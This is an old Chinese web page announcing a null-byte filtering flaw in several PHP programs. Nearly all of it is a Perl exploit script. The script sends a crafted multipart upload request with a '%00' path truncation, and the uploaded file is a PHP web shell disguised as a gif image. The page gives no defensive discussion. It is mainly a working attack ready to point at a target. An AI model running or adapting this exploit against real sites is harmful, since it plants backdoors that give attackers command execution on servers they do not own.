多种PHP程序存在\0过滤不严漏洞

王朝php·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

#!/usr/bin/perl

$| = 1;

use Socket;

$host = "127.0.0.1";

$port = "80";

$UploadTo = "";

$str =

"-----------------------------7d41f4a600472\r\n".

"Content-Disposition: form-data; name=\"path\"\r\n".

"\r\n".

"www.ppp%00\r\n".

"-----------------------------7d41f4a600472\r\n".

"Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".

"Content-Type: text/plain\r\n".

"\r\n".

"<?php\r\n".

"system($c);\r\n".

"?>\r\n".

"-----------------------------7d41f4a600472--\r\n".

"\r\n";

print $str;

$len=length($str);

print $len;

$req ="POST /1/1/3721/index.php?action=upload HTTP/1.1\r\n".

"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n".

"Referer: http://127.0.0.1/index.php?path=.\r\n".

"Accept-Language: zh-cn\r\n".

"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".

"Accept-Encoding: gzip, deflate\r\n".

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".

"Host: 127.0.0.1\r\n".

"Content-Length: $len\r\n".

"Connection: Keep-Alive\r\n".

"Cache-Control: no-cache\r\n".

"Cookie: PHPSESSID=111111111111111111111111\r\n".

"\r\n".

"$str\r\n\r\n";

print $req;

@res = sendraw($req);

print @res;

#Hmm...Maybe you can send it by other way

sub sendraw {

my ($req) = @_;

my $target;

$target = inet_aton($host) || die("inet_aton problems\n");

socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");

if(connect(S,pack "SnA4x8",2,$port,$target)){

select(S);

$| = 1;

print $req;

my @res = <S>;

select(STDOUT);

close(S);

return @res;

}

else {

die("Can't connect...\n");

}

}

 
 
 
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